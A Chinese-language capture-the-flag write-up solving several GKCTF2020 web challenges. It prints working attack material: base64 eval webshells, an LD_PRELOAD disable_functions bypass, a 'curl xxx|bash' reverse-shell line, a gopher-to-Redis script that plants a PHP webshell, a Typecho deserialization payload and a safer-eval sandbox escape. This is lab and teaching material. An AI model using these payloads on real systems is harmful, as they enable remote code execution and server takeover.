GEKCTF
[GKCTF2020]CheckIN97
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
源代码在这里:
直接浏览器get一下了,http://bbc9834d-bc85-4a86-a083-1c17543ea5d4.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==
查看一下phpinfo。
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,
很多的函数都被禁用了。
直接传shell,将eval($_POST[xss]);
进行base64加密,得到ZXZhbCUyOCUyNF9QT1NUJTVCeHNzJTVEJTI5JTNC
不知道为什么冰蝎连不上,但是换了蚁剑就可以了,在根目录下看到了flag,但是无法读取,看到还有一个./readflag
这应该是读取flag的程序,我们要想办法执行它。
这个时候应该绕过disablefunction了
利用工具地址:https://github.com/yangyangwithgnu/bypassdisablefuncviaLDPRELOAD
根目录因为权限上传不了,但是上传到tmp目录总是可行的,否则其他目录应该是不可写的。。
根据github作者的描述:
本项目中有三个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。
bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
一是 cmd 参数,待执行的系统命令(如 pwd)。
二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向。
另外,bypass_disablefunc.php 这个 webshell 的本意是突破 disable_functions 执行命令,代码中无任何 webshell 特征函数,所以,副作用是,它能免杀。换言之,即便目标并未用 disable_functions 限制命令执行函数,你仍可将 bypass_disablefunc.php 视为普通小马来用,它能躲避后门查杀工具。过 D 盾
根据使用方法传一下payload: var_dump(eval($_GET[c]));
base64加密一下.
payload:http://bbc9834d-bc85-4a86-a083-1c17543ea5d4.node3.buuoj.cn/?Ginkgo=dmFyX2R1bXAoZXZhbCgkX0dFVFtjXSkpOw==&c=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so
跟作者的用法有所区别,作者是直接再bypass_disablefunc.php这个页面上进行三个参数的传递,从而获得webshell。但是我们访问不到哪里,但是本身的页面我们可以传递一个shell过去,然后在使用include函数去包括我们上传的php文件,这样就实现了跳转,接下来我们再冲覅操作就可以获得shell了。
[GKCTF2020]cve版签到
开局有提示,所以百度搜了一下:
PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
可以利用00截断,因为题目的意思是只允许我们输入*.ctfhub.com,即You just view *.ctfhub.com。
抓包,发现他有些类似于ssrf漏洞,我们可以修改url看一看内网,于是改为127.0.0.1 发现小贴士:[4] => Tips: Host must be end with '123'
于是再改包:GET /?url=http://127.0.0.1%00www.ctfhub.com HTTP/1.1
<pre>Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Sat, 30 May 2020 09:20:33 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => FLAG: flag{d53fab9e-e1d3-4111-8190-89e72520fcc9}
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)
[GKCTF2020]老八小超市儿
shopxo是一款开源的企业级商城系统,基于thinkphp5框架开发。
刚开始以为是有什么逻辑漏洞啥的,搞了搞发现我想多了,并没有,网上查了一下,看看有没有什么漏洞,发现可以后台默认登陆admin账户。
直接登陆进去,这很明显就是日站了啊,看看后台有没有什么上传点。
有上传图片的地方,网上其实已经有利用流程了就是下载一个模板,然后将我们的马放在default_static_
目录下。
访问:/public/static/index/default/xxx.php
验证是否上传成功。
蚁剑连接,在根目录发现没有足够权限来访问读取,我们先反弹shell,发现有个auto.sh文件他是root权限,运行着一个python脚本,找到python脚本我们此时是有写的权限的,所以我们可以直接读取文件。
payload1:import os;os.system('curl xxx|bash')
这里我们反弹shell,然后ls -la
查看权限。
payload2:import os;os.system('cat /root/flag > /flag.hint')
z直接到flag.hint下去等个一分钟就有了。
[GKCTF2020]EZ三剑客-EzWeb
ssrf漏洞,当我想随便访问一下内网的时候,127.0.0.1被过滤了,这个时候我想用file协议来进行查看,发现也被过滤掉了,不知道会不会使用gopher协议来做,或者是redis这种字典服务,那太麻烦了,先放一下。
看到有一个注释是?secret所以带着这个参数访问了一下。
返回了我们网段的地址:
eth0 Link encap:Ethernet HWaddr 02:42:ad:d1:d0:0a
inet addr:173.209.208.10 Bcast:173.209.208.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:133 errors:0 dropped:0 overruns:0 frame:0
TX packets:164 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:23376 (23.3 KB) TX bytes:24645 (24.6 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:72 errors:0 dropped:0 overruns:0 frame:0
TX packets:72 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6580 (6.5 KB) TX bytes:6580 (6.5 KB)
当然前面我们可以绕过file协议:即file:/xxxx
得到index源代码:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>
发现没有过滤掉gopher,再看一看6379有没有开,如果开了的话那么我们可能可以利用redis服务来进行shell的反弹。
这里要先扫一下内网地址段,我直接就扫端口了,所以没有任何发现,看别人的wp说11出有提示,说是端口服务在11这个主机上面,那里我没有对ip进行扫描所以没法继续进行。
burp爆破一下端口,因为是对内网所以不用nmap服务啦,所以利用burp直接打端口,防止他把服务迁到别的地方,但看来我多虑了。http://b00255f4-8691-43d0-8c61-9c6173a90771.node3.buuoj.cn/index.php?url=173.209.208.11:6379&submit=%E6%8F%90%E4%BA%A4
直接报错-ERR wrong number of arguments for 'get' command 1
那么就ok了,接下来我们利用gopher打过去,看来还是要这么干了,因为使用gopher协议生成payload,实在是太繁琐了。
这里也不用什么gopher的工具了,直接把脚本嫖过来(ip要改一下):
import urllib.parse
protocol="gopher://"
ip="173.180.40.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
] #构造redis命令
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
这样可以直接url进行下一步输入了,不用反弹shell。
payload2:index.php?url=173.180.40.11%2Fshell.php%3Fcmd%3Dsystem('cat%24IFS%249%2Fflag')%3B&submit=提交
之前有写过一篇利用redis攻击内网的文章:https://www.cnblogs.com/ophxc/p/12872815.html
[GKCTF2020]EZ三剑客-EzTypecho
已经告诉我们是Typecho了,在老版本他是有一个反序列化的漏洞的,就在install.php的230行左右的地方,利用的方法是两个魔术方法,第一个是tostring方法,将类转换为字符串时候调用的,第二个是call方法,通过这个反序列化,我们能够执行命令,关于这类的文章Freebuf上其实有很多。
payload:`<?php class TypechoFeed{ private $type; private $_items = array();
public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(
array(
"title" => "test",
"link" => "test",
"data" => "20190430",
"author" => new Typecho_Request(),
),
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params = array(
"screenName" => "eval('system(\'cat /flag\');exit;')",
);
$this->_filter = array("assert");
}
}
$a = new Typecho_Feed();
$c = array(
"adapter" => $a,
"prefix" => "test",
);
echo base64_encode(serialize($c));`
生成最终payload:
`__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7czo0OiJ0ZXN0IjtzOjQ6ImRhdGEiO3M6ODoiMjAxOTA0MzAiO3M6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjM1OiJldmFsKCdzeXN0ZW0oXCdjYXQgL2ZsYWdcJyk7ZXhpdDsnKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NDoidGVzdCI7fQ`
这道题是很简单的,因为poc利用代码网上都是有的,包括我上一篇文章也是写过了。
[GKCTF2020]EZ三剑客-EzNode
源代码:
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
疯狂给提示,开头就给提示,说是找到了一个很棒的库,那么搜一下这个库喽。
在CNVD上有
https://www.cnvd.org.cn/flaw/show/CNVD-2019-36849
相关介绍:safer-eval 1.3.2之前版本中存在代码注入漏洞,该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素,攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。
但是这个版本是"safer-eval": "1.3.6",那么好像用不了。
看到
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
这里可能是利用的关键点,先转到eval那里,发现超时了。
看到上面:
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
这里settimout会发现导致我们的payload都无法执行。因此需要绕过,让delay小于1000才能进到safeeval的路由里,setTimeout()函数有一个漏洞,其实在php当中也是存在这么一个类似的漏洞,那就是大于2147483647时他都会归为2147483647,利用这个我们可以绕过一些比较条件,而在这里它的定义是:当delay大于2147483647或小于1时,延迟将设置为1。非整数延迟被截断为整数。
此时提示我们:Cannot GET /eval
这时候把poc利用post发出去:
poc:
(function(){const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("cat /flag").toString()})()